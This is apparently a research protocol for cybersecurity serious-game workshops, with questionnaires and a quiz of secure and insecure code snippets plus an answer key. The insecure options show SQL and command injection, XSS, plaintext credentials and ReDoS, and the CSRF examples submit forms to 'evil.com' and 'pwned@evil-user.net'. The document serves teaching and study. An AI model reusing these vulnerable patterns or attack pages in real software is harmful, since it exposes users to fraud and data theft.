

SECRIOUS PROTOCOL FOR BEACONING EVENTS

This is a public protocol document for running your own beaconing event using the provoking games, serious games and other outputs from the [Secrious](#) project. The table below outlines the procedure for running the event protocol, with any forms etc. that are referred to in specific steps of the procedure forward referencing a related item in the appendix.

Phase	Rationale	Procedure	Duration (mins)
Participant information sheet	Inform potential participants	Integrate in online registration form using Microsoft Forms. Extra physical copies will be available on the day.	N/A
Informed consent form	Give potential participants time to make an informed decision.	Integrated in online registration form using Microsoft Forms. Extra physical copies will be provided on the day.	N/A
Demographic Questionnaire	Build profile of participants. Use this to divide them into groups for each theme (i.e. coder security and SDLC) and interpret individual results (e.g. regarding understanding of cybersecurity).	Integrate in existing online registration form using Microsoft Forms. Extra digital copies will be provided on the day.	5
Pre-test Questionnaire	To gather the participant's level of knowledge and understanding and confidence in key skills regarding cybersecurity, serious game design, and serious game development, prior to participating in the beaconing event.	Integrate in online registration form using Microsoft Forms. Extra digital copies will be provided on the day. Needs to be completed by each individual participant to prevent bias. (See section Error! Reference source not found.)	5
Code snippets (C+F)	Evaluation of code snippets by participants to measure each participant's individual knowledge and understanding of cybersecurity.	Distribute 2 code snippets using Microsoft Forms to each individual participant. The participant will write down on the form which code snippet is secure, and which are insecure, including explanation why. The code snippets will be one of each of the two themes: C (= code security) + F (= SSDLC) and will be the same two code snippets for the Pre- and Post-Test for each participant. (See section Code Snippets). This will be integrated into the Pre-test questionnaire.	5
Adjusted IMI prior to start of Beaconing Event	Gather motivation assessment prior to start of Beaconing Event to be able to compare motivation before and after Beaconing Event.	Integrate in online registration form using Microsoft Forms. Extra physical copies will be provided on the day. Needs to be completed by each individual participant to prevent bias. Ask to fill out before start of SGJ.	5

Welcome	Check informed consent, demographic, Pre-Test, and IMI questionnaire have been done for each participant.	Each participant fills out individually in Microsoft Forms (if not done beforehand). Paper version of participant information sheet and informed consent form will be available.	N/A
MAIN EVENT AGENDA			
Present SGJ journey	This is the first activity of the beaconing event. Provide participants with a high-level overview of the three phases of the SGJ journey, to introduce and contextualise the different artefacts they will be evaluating.	Short presentation of slides supported by the SGJ overview poster.	5
Present Cybersecurity cards	Introduce and contextualise the cybersecurity cards.	Short presentation of slides supported by Cybersecurity cards poster.	5
Map cybersecurity cards to code snippets	Evaluation of the code snippets by each group of participants to measure their knowledge and understanding of cybersecurity. Snippets are randomised to limit discussions between groups and changing snippets ensures all participants engage with all snippets.	Each group will be led by one facilitator (typically an expert (or one with experience) in cybersecurity or games design/development). Each group will be given a deck of the cybersecurity cards. At their table, they will be asked to select the cybersecurity cards they think are related to 2 randomized code snippets and explain why. The paper worksheet will contain those two code snippets and space to write their answer down. The discussion is recorded on audio/video by the group leader. Take picture of final mapping.	15
1.3 Play provocative game.	Showcase, play, and evaluate the provocative games. As discussed, the rationale for increasing time to play the provocative game is to allow participants more time to complete the game.	Each of the five groups will play one provocative game related to the theme they have been assigned to. For coder security this is "Protection", for SDLC this is "Collaboration". Note: The provocative game will be played by participants individually on the laptop. Protection: https://sercious-research-project.itch.io/protection Collaboration: https://sercious-research-project.itch.io/collaboration	30
1.4 GEQ for Provocative game	Evaluate engagement of provocative game	Each participant will individually fill out the paper version of the Game Experience Questionnaire after finishing playing the provocative game. (See section Error! Reference source not found.)	5
1.5 TAM questionnaire for provocative game	Evaluate acceptance/potential adoption of provocative games.	Each individual participant will fill out a paper version of the Technology Acceptance Model questionnaire for the provocative game. (See section Error! Reference source not found.)	5
1.6 Map cybersecurity cards to provocative game	Evaluation of provocative games by groups of participants.	Each of the five groups will be given a deck a cybersecurity cards for each of the two subgroups. Each subgroup will be asked to select the cybersecurity cards they think are related to the provocative game and explain why. This will be	20

		written down on the paper worksheet. Discussion is recorded on audio/video using smartphone or recorder. Take picture of final mapping.	
BREAK – 30 MINS			
1.7 Play serious game	Showcase, play, and evaluate serious games.	Each group plays one serious game related to the allocated theme. For Coder Security this is “Scarecity”, for SSDLC this is the card matching game “No Entry”. No Entry game has precisely 2 players maximum (with one moderator), Scarecity has a minimum of 2 players and a maximum of 4 players. Scarecity rules: No Entry rules:	30
1.8 GEQ for serious game	Evaluate how engaging provocative game is (= indirect measure of learning)	Each participant will individually fill out the paper version of the Game Experience Questionnaire after finishing playing the provocative game. (See section Error! Reference source not found.)	5
1.9 Map cybersecurity cards to serious game.	Evaluation of serious game and participant’s understanding of cybersecurity.	Each group will be given a deck a cybersecurity cards. Each group will be asked to select the cybersecurity cards they think are related to the serious game (“Scarecity” or “No Entry” based on assigned theme) and explain why. This will be written down on the paper worksheet. Discussion is recorded on audio/video using smartphone by the group leader. Take picture of final mapping.	20
1.10 Map Cybersecurity cards to Code Snippets	Evaluation of the code snippets by group of participants to measure their knowledge and understanding of cybersecurity. As discussed, rationale for using randomized code snippets for each group: - To limit participants discussing code snippets between groups. - Changing code snippets as described in procedure column ensures all participants will have engaged with all code snippets.	Each group will be given a deck of cybersecurity cards. At their table, they will be asked to select the cybersecurity cards they think are related to 2 randomized code snippets and explain why. The paper worksheet will contain those two code snippets and space to write their answer down. The discussion is recorded on audio/video by the group leader. Take picture of final mapping.	15
1.11 Cybersecurity cards questionnaire	Evaluation of cybersecurity cards by participants. This is done before the end of the event to keep their interaction with the cards still fresh in the mind and still have access to the physical cards.	Each individual participant will fill out Cybersecurity Cards questionnaire online in Microsoft Forms. (See section Error! Reference source not found.).	5
Goodbye	Check that all questionnaires have been done + spare time in case the event runs over.	After all checks are done, thank participants for attending etc. Remind participants that the Post-Test questionnaire and Feedback Artefacts questionnaire	5

		will be sent out immediately after the beaconing event.	
1.12 Post-Test questionnaire (including IMI+Code Snippets C+F).	<p>Evaluation of code snippets by participants to measure each participant's individual knowledge and understanding of cybersecurity.</p> <p>The two code snippets in the Post-Test will be the same two code snippets as in the Pre-Test.</p> <p>The two code snippets chosen for this (C+F) cover both themes of the beaconing event and will be the same for each participant. These two code snippets will not be part of the group activity of mapping cybersecurity cards to the code snippets to minimise potential bias.</p>	<p>Each individual participant will fill out the Post-Test Questionnaire online using Microsoft Forms. (See section Error! Reference source not found.)</p> <p>The code snippets will be one of each of the two themes: C (= code security) +F (= SSDLC). (See section Code Snippets).</p>	10
1.13 Feedback Artefacts questionnaire	<p>General feedback on each of the artefacts of the SGJ Toolkit and SGJ methodology. This is done after the event to provide time for reflection and minimise total time spent on questionnaires.</p>	<p>Each individual participant will fill out Feedback Artefacts questionnaire online in Microsoft Forms.</p> <p>Note: The link to this questionnaire will be sent out by email immediately after the beaconing event.</p> <p>(See section Error! Reference source not found.)</p>	10
Email reminder	<p>Follow up with participants who have not filled out all questionnaires yet.</p>	<p>Send reminder to participants on 2 days later to fill out the remaining questionnaires. And then a reminder again 5 days later (to allow for travelling after the event).</p>	N/A

Thanks for reading! If you do follow our protocol and find anything interested, please do let us know by contacting us using your preferred channel from our project website – <https://secrious.github.io>!

TAM QUESTIONNAIRE

The Technology Acceptance Model (TAM) is designed to give you the opportunity to rate the **game's usefulness, ease of use, and adoptability**.

To as great an extent as possible, think about all the tasks that **you and your co-workers** could do with the serious game while you answer these questions.

Please read each statement and indicate how likely or unlikely each statement is in your opinion. Please read the statements carefully, but do not spend a lot of time on each statement. Your first impression is fine.

	Extremely Unlikely	Quite unlikely	Slightly unlikely	Neither	Slightly likely	Quite likely	Extremely likely
1. Using the serious game in my job would enable me to accomplish tasks more quickly.							
2. Using the serious game would improve my job performance.							
3. Using the serious game in my job would increase my productivity.							
4. Using the serious game would enhance my effectiveness on the job.							
5. Using the serious game would make it easier to do my job.							
6. I would find the serious game useful in my job.							
7. Learning to operate the serious game would be easy for me.							
8. I would find it easy to get the serious game to							

do what I want it to do.							
9. My interaction with the serious game would be clear and understandable.							
10. I would find the serious game would be clear and understandable.							
11. It would be easy for me to become skilful at using the serious game.							
12. I would find the serious game easy to use.							
13. I presently intend to use the serious game regularly at work.							

CODE SNIPPETS

Themes each code snippet belongs to:

Code security => A, C, D, E
 SSDLC => B, F (as these are technically also in code security, but correspond to the lifecycle more as it also impacts other things in software and host computing system)
 API Security => A, B, E

Question: For each question (a, b, c, ...), please tick the correct box which corresponds to what you believe is the secure code snippet and describe why you chose it underneath.

A	<pre> <div class="form-group"> <label for="search">Search:</label> <input type="text" class="form-control" id="search" name="search"> <input type="submit" id="submit" class="btn" value="Search"> <div class="alert alert-danger <%=alertVisibility%>"> Cannot find <%=StringEscapeUtils.esca peHtml4 (request.getParame ter ("search")) %> </div> </div> </pre>	<pre> <div class="form-group"> <label for="search">Search:</label> <input type="text" class="form- control" id="search" name="search"> <input type="submit" id="submit" class="btn" value="Search"> <div class="alert alert-danger <%=alertVisibility%>"> Cannot find <%=request.getParameter ("search") %> </div> </div> </pre>	<pre> <script> <% String searchText = StringEscapeUtils.escapeHtml4 (request.getParameter ("search ")); %> document.cookie = 'search=<%=searchTxt%>'; </script> </pre>
---	--	---	---

	<i>Enter why you chose the above snippet</i>		
B	<pre>String url = "http://my- service.cloud.biz/Login?u sr="+usr+"&pwd="+pwd; URL obj = new URL(url); HTTPURLConnection con = (HTTPURLConnection) obj.openConnection(); con.setRequestMethod("GET "); con.setRequestProperty("U ser-Agent", USER_AGENT);</pre>	<pre>var transaction = {"custName":custName,"address":custAddress ,"creditCardNumber":dataCleaner.removeCCPA N(custCC)}; var encTransaction = cryptUtils.AES256GCM(transaction, secretsManager); s3.putObject({ "Bucket": "ACME-customer-billing", "Key": "todayTransactions", "Body": JSON.stringify(encTransaction), "Content-Type": "application/json" }, function (err, data) { });</pre>	<pre>var transaction = {"custName":custName,"address ":custAddress,"creditCardNumb er":custCC.CCPAN}; s3.putObject({ "Bucket": "ACME-customer- billing", "Key": "todayTransactions", "Body": JSON.stringify(transaction), "Content-Type": "application/json" }, function (err, data) { });</pre>
	<i>Enter why you chose the above snippet</i>		

C	<pre>String query = "SELECT * FROM users WHERE usr = ? AND pwd = ?"; Connection conn = db.getConnection(); PreparedStatement stmt = conn.prepareStatement(query); stmt.setString(1, usr); stmt.setString(2, pwd); ResultSet rs = stmt.executeQuery(query);</pre>	<pre>String updateServer = request.getParameter("updateSe rver"); String cmdProcessor = Utils.isWindows() ? "cmd" : "/bin/sh"; String command = cmdProcessor + "-c ping " + updateServer; Process p = Runtime.getRuntime().exec(comm and);</pre>	<pre>String query = String.format("SELECT * FROM users WHERE usr='%s' AND pwd='%s'", usr, pwd); Connection conn = db.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query);</pre>
	<p><i>Enter why you chose the above snippet</i></p>		

D	<pre> def renderMyPage(str): content = ''' <html> <body> <h2 id="title">Title -- </h2> <script> titlestr = '%s'; title = document.getElementById(' title'); title.innerHTML += titlestr; </script> </body> </html> ''' % str) return content from flask import escape @app.route('/profile') def index(): title = request.args.get('title') title = title.replace('\'', '', - 1) page = renderMyPage(title) return page </pre>	<pre> def renderMyPage(str): content = ''' <html> <body> <h2 id="title">Title -- </h2> <script> titlestr = '%s'; title = document.getElementById('title '); title.innerHTML += titlestr; </script> </body> </html> ''' % str) return content from flask import escape @app.route('/profile') def index(): title = escape(request.args.get('title ')) page = renderMyPage(title) return page </pre>	<pre> def renderMyPage(str): content = ''' <html> <body> <h2 id="title">Title -- </h2> <script> titlestr = '%s'; title = document.getElementById('title'); title.innerHTML += titlestr; </script> </body> </html> ''' % str) return content from flask import escape @app.route('/profile') def index(): title = request.args.get('title') title = title.replace('\''==', '', -1) page = renderMyPage(title) return page </pre>

	<i>Enter why you chose the above snippet</i>		
E	<pre> <html> <body> <form action="https://vulnerable- website.com/email/change" method="POST"> <input type="hidden" name="email" value="pwned@evil- user.net" /> </form> <script> document.forms[0].submit(); </script> </body> </html> </pre>	<pre> <html> <body> <form id="form" action="https://example .com/transfer" method="post"> <input type="hidden" name="amount" value="1000"> <input type="submit" value="Transfer"> </form> <script> var website = "https://evil.com"; window.onload = function() { var form = document.getElementById ("form"); form.action = website + "/steal"; form.submit(); }; </script> </body> </html> </pre>	<pre> <html> <body> <form id="csrfForm" action="https://example.com/transfer " method="post"> <!-- CSRF Token --> <input type="hidden" name="csrf_token" value="TOKEN_VALUE_FROM_SERVER"> <input type="hidden" name="amount" value="1000"> <input type="submit" value="Transfer Funds"> </form> </body> </html> </pre>
	<i>Enter why you chose the above snippet</i>		

F	<pre>def sort(data): n = len(data) for i in range(n): for j in range(0, n - i - 1): if data[j] > data[j + 1]: data[j], data[j + 1] = data[j + 1], data[j] # Usage data = [4, 2, 7, 1, 9, 3] sort(data)</pre>	<pre>def sort(data): MAX_ALLOWED_ELEMENTS = 1000 if len(data) > MAX_ALLOWED_ELEMENTS: raise ValueError("Too many elements") data.sort() data = [4, 2, 7, 1, 9, 3] try: sort(data) except ValueError as e: print(str(e))</pre>	<pre>import re def vulnerable_regex(input_data): try: regex_pattern = r"(a+)+b" re.match(regex_pattern, input_data) except re.error: pass</pre>
	<p><i>Enter why you chose the above snippet</i></p>		

Correct answers:

- A. XSS/Cross-Site Scripting => 1. Code neutralised HTML markup! Other answers are incorrect as 2. Allows script tags to be inserted in the page (outputs input "as is") and 3. Encoding misses single quote allowing XSS with payload (e.g. '+alert(1)+')
- B. Encryption => 2. Code removes credit card number and encrypts data before storing! Other answers are incorrect as 1. Code sends username and password via http and not https and uses GET instead of POST for secure data (storing credentials in web logs), and 3. This code stores transaction in cleartext including credit card number!
- C. SQL and Command Injection => 1. Code snippet uses prepared statement (parameterised object) where input is passed as parameters. Other answers are incorrect as 2. Concatenates input to OS command and 3. Concatenates input to the SQL statement.
- D. XSS/Cross-Site Scripting (JavaScript Injection) => 2. Title parameter is escaped to make same to prevent injection via unsafe get parameter. Other answers are incorrect as both \ character is a simple restriction which can be avoided using img or other techniques, and weak code sanitisation uses replace. Better methods such as whitelisting is more secure.
- E. CSRF/Cross-Site Request Forgery => 3. Random CSRF token created and associated with user session, and hidden+sent in form along with request to be validated on server side. Incorrect answers allow form to be redirected to attacker URLs and allows them to steal funds or perform malicious actions on behalf of the user.
- F. Denial of Service Attack => 2. A faster sort is used and a limit on number of elements that can be sorted in one go is used to mitigate DoS attack. Adjust max elements based on application needs and resources available. Incorrect answers: 1. Inefficient sort algorithm – attacker can send large array of elements causing algorithm to take too long to complete resulting in DoS. 3. Catastrophic backtracking (pattern takes long time to evaluate specific inputs and can lead to unresponsiveness – dos attack)

A PRE-/POST-TEST QUESTIONNAIRE

You will be asked some questions regarding cybersecurity, serious game design and serious game development, so that we can **assess your confidence and current level of understanding** in these areas before and after taking part in the beaconing event. **Please do not look up the answers** to the questions online or anywhere else. Don't worry if you do not know the answer to a question. Indicating that you do not know the answer is a valid response and also of interest to us. This survey will take approximately **7 minutes** in total to complete.

Question 1

Please enter your full name (Please note that your answers will be anonymized).

Enter your answer

Question 2

For **cybersecurity** (Questions 2-8), score each item below using the following scale from 1 to 7: (1=Strongly disagree, 2=Disagree, 3=Somewhat disagree, 4=Don't know/Neutral, 5= Somewhat agree, 6=Agree, 7=Strongly agree).

Code practices: This is about improving your knowledge on cybersecurity and code maintenance.

On the scale from 1-7, **how confident are you:**

	Strongly Disagree	Disagree	Somewhat Disagree	Don't Know / Neutral	Somewhat Agree	Agree	Strongly Agree
2a) About your current level of knowledge and understanding of cybersecurity?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
2b) To learn more about cybersecurity?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
2c) To share your knowledge about cybersecurity with others?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
2d) To teach others about cybersecurity?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
2e) To review and update existing code regarding cybersecurity?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>

Question 3

Resources: This refers to the money, time, and people required to develop and maintain secure code. On a scale from 1-7, **how confident are you:**

	Strongly Disagree	Disagree	Somewhat Disagree	Don't Know / Neutral	Somewhat Agree	Agree	Strongly Agree
3a) To ask for more money/focus on improving code security?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
3b) To ask for more time to improve code security?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>

- ○ ○ ○ ○ ○ ○
- 3c) To ask for an increase in staff or help from other people to improve code security?
- ○ ○ ○ ○ ○ ○

Question 4

Communication: This is about communication between technical and non-technical people involved, but also between experts and non-experts. On the scale from 1-7, **how confident are you to:**

- | | Strongly
Disagree | Disagree | Somewhat
Disagree | Don't Know /
Neutral | Somewhat
Agree | Agree | Strongly
Agree |
|--|-----------------------|-----------------------|-----------------------|-------------------------|-----------------------|-----------------------|-----------------------|
| 4a) Raise a security issue with your manager/teacher who is not an expert? | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> |
| 4b) Raise a security issue with a non-expert client? | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> |
| 4c) Raise a security issue with a cybersecurity expert? | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> |
| 4d) Raise a security issue with a fellow student/colleague/team member who is not an expert? | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> |

Question 5

Morality: This refers to the moral compass of all stakeholders involved. It involves making independent decisions of what is right and wrong and acting accordingly, while balancing the work that needs to be done, job security, and cybersecurity (e.g. engaging with management who focus on volume of output and do not see security as a priority). On the scale from 1-7, **how confident are you:**

- | | Strongly
Disagree | Disagree | Somewhat
Disagree | Don't Know /
Neutral | Somewhat
Agree | Agree | Strongly
Agree |
|---|-----------------------|-----------------------|-----------------------|-------------------------|-----------------------|-----------------------|-----------------------|
| 5a) To go against your manager/teacher when they find finishing the code/programming assignment more important than creating secure code? | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> |
| 5b) To make decisions on your own regarding the security of code during the development? | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> |
| 5c) To bring up a security issue that will knowingly have implications for the end user? | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> | <input type="radio"/> |

Question 6

Code motivation: This is about the **reasons code is being developed** (e.g. on demand or compatibility) and the circumstances of the development process. **When coding/programming, how important are the following aspects in your opinion?**

Please order the aspects below in order of importance by dragging them with the mouse. The more important an aspect of programming/coding is in your opinion, the higher you should put it in the list.

Functionality (= The code, software or app does what it is intended to do for the user.)
Code quality (= How well the code, software or app performs in terms of how fast it runs, how much memory it uses, how easy the code is to read and understand, and how easy it is to maintain in the future.)
Optimization (= Improving the functionality, quality or design of the code, software or app.)
Compatibility (= How well different pieces of code, software or apps work together.)
Reusability of code (= How well code of an existing piece of software or app can be reused in a different piece of software or app without having to make any changes to it.)
Effectiveness (= How well the code, software or app achieves the intended result.)
Efficiency (= How much time and memory the code, software or app needs to achieve the desired result.)
Security (= How well vulnerabilities in the code, software or app are defended against attacks.)
Future-proofing (= Minimizing the effect of new cybersecurity threats that may exist in the future.)

Question 7

Which of the three code snippets below do you think is **secure** and explain **why**?

Option 1	Option 2	Option 3
<pre>String query = "SELECT * FROM users WHERE usr = ? AND pwd = ?"; Connection conn = db.getConnection() ; PreparedStatement stmt = conn. preparedStatement(query); stmt.setString(1, usr); stmt.setString(2, pwd); ResultSet rs = stmt. executeQuery(query);</pre>	<pre>String updateServer = request. getParameter("updateServer "); String cmdProcessor = Utils. isWindows() ? "cmd" : "/ bin/sh"; String command = cmdProcessor + "-c ping " + updateServer; Process p = Runtime.getRuntime ().exec(command);</pre>	<pre>String query = String.format(" SELECT * FROM users where usr='%s' AND pwd='%s'", usr, pwd); Connection conn = db.getConnection() ; Statement stmt = conn. createStatement(); ResultSet rs = stmt. executeQuery(query);</pre>
<p><i>Please write down your answers here</i></p>		

Question 8

Which of the three code snippets below do you think is **secure** and explain **why**?

Option 1	Option 2	Option 3
<pre>def sort(data): n = len(data) for i in range(n): for j in range(0, n-i-1): if data[j] > data[j+1]: data[j], data[j+1] = data[j+1], data[j] # Usage data = [4, 2, 7, 1, 9, 3] sort(data)</pre>	<pre>def sort(data): MAX_ALLOWED_ELEMENTS = 1000 if len(data) > MAX_ALLOWED_ELEMENTS: raise ValueError("Too many elements") data.sort() data = [4, 2, 7, 1, 9, 3] try: sort(data) except ValueError as e: print(str(e))</pre>	<pre>import re def vulnerable_regex(input_data): try: regex_pattern = r"(a+)+b" re.match(regex_pattern, input_data) except re.error: pass</pre>
<p>Please write down your answers here</p>		

Question 9

The following questions 9-15 will all be about Serious Game Design & Development.

What is a serious game? Please try to answer the question as well as you can without looking up the answer! Indicating that you do not know the answer is also allowed and of interest to us.

Question 10

What three aspects of design do you need to combine to create an effective serious game? Please answer the question without looking up the answer. Indicating that you do not know the answer is also allowed.

Question 11

Name some factors that influence serious game design. Please answer the question without looking up the answer. Indicating that you do not know the answer is also allowed.

Question 12

What do you think is the main role of the serious game designer?

Question 13

For game design and game development, score each item below on the following scale from 1-7: (1=Strongly disagree, 2=Disagree, 3=Somewhat disagree, 4=Don't know/Neutral, 5= Somewhat agree, 6=Agree, 7=Strongly agree).

Regarding your current level of knowledge and improving your knowledge on **game design** (i.e. creating the idea for the game and the rules of the game). On the scale from 1 to 7, **how confident are you:**

	Strongly Disagree	Disagree	Somewhat Disagree	Don't Know / Neutral	Somewhat Agree	Agree	Strongly Agree
13a) About your current level of knowledge and understanding of game design?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
13b) In your ability to learn more about game design?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
13c) About sharing your knowledge about game design with others?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
13d) To teach others about game design?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
13e) To create a game design?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>

Question 14

Regarding your current level of knowledge and improving your knowledge on **game creation** (i.e. the development of the game). On the scale from 1 to 7, **how confident are you:**

	Strongly Disagree	Disagree	Somewhat Disagree	Don't Know / Neutral	Somewhat Agree	Agree	Strongly Agree
14a) About your current level of knowledge and understanding of game creation?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
14b) To learn more about game creation?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
14c) To share your knowledge and understanding about game creation with others?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
14d) To teach others about game creation?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
14e) To create the implementation of a game?	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>

Question 15

When designing a new serious game, how important are the following aspects in your opinion? Score each item below on the scale from (1-7): 1= Very unimportant, 2=Unimportant, 3=Somewhat unimportant, 4=Don't know/Neutral, 5=Somewhat important, 6=Important, 7=Very important.

	Strongly Disagree	Disagree	Somewhat Disagree	Don't Know / Neutral	Somewhat Agree	Agree	Strongly Agree
15a) Programming skills:	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
15b) Art and/or audio design skills:	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
15c) Knowledge of the subject area of the game (i.e., cybersecurity):	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
15d) Teaching skills and understanding learning mechanics:	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
15e) Understanding game mechanics:	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
15f) Interaction design skills:	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
15g) Knowledge of similar games:	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>

C GAME EXPERIENCE QUESTIONNAIRE

Please indicate how you felt while playing the game for each of the items, on the following scale: (0=not at all, 1=slightly, 2=moderately, 3=fairly, 4=extremely).

	Not At All	Slightly	Moderately	Fairly	Extremely
(1) I felt content	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(2) I felt skilful	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(3) I was interested in the game's story	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(4) I thought it was fun	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(5) I was fully occupied with the game	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(6) I felt happy	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(7) It gave me a bad mood	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(8) I thought about other things	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(9) I found it tiresome	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(10) I felt competent	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(11) I thought it was hard	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(12) It was aesthetically pleasing	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(13) I forgot everything around me	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(14) I felt good	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(15) I was good at it	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(16) I felt bored	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(17) I felt successful	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(18) I felt imaginative	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(19) I felt that I could explore things	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>

- (20) I enjoyed it
- (21) I was fast at reaching the game's targets
- (22) I felt annoyed
- (23) I felt pressured
- (24) I felt irritable
- (25) I lost track of time
- (26) I felt challenged
- (27) I found it impressive
- (28) I was deeply concentrated in the game
- (29) I felt frustrated
- (30) It felt like a rich experience
- (31) I lost connection with the outside world
- (32) I felt time pressure
- (33) I had to put a lot of effort into it

D CYBERSECURITY CARDS QUESTIONNAIRE

This questionnaire evaluates the cybersecurity cards (red) that you have used throughout the beaconing event. This questionnaire will take about 10 minutes to complete. Feel free to look at the cybersecurity cards again while answering these questions.

Question 1

Please enter your full name (Please note that your answers will be anonymized).

Enter your answer

Question 2

Each item below is scored using a scale from 1-7: (1=Strongly disagree, 2= disagree, 3= somewhat disagree, 4= don't know/neutral, 5= somewhat agree, 6= agree, 7= strongly agree).

The Cybersecurity cards that I have used during the Beaconing Event:

	Strongly Disagree	Disagree	Somewhat Disagree	Don't Know / Neutral	Somewhat Agree	Agree	Strongly Agree
(1) Provided me with knowledge about individual cybersecurity concepts	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
(2) Provided me with knowledge about the wide scope of cybersecurity concepts	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>	<input type="radio"/>
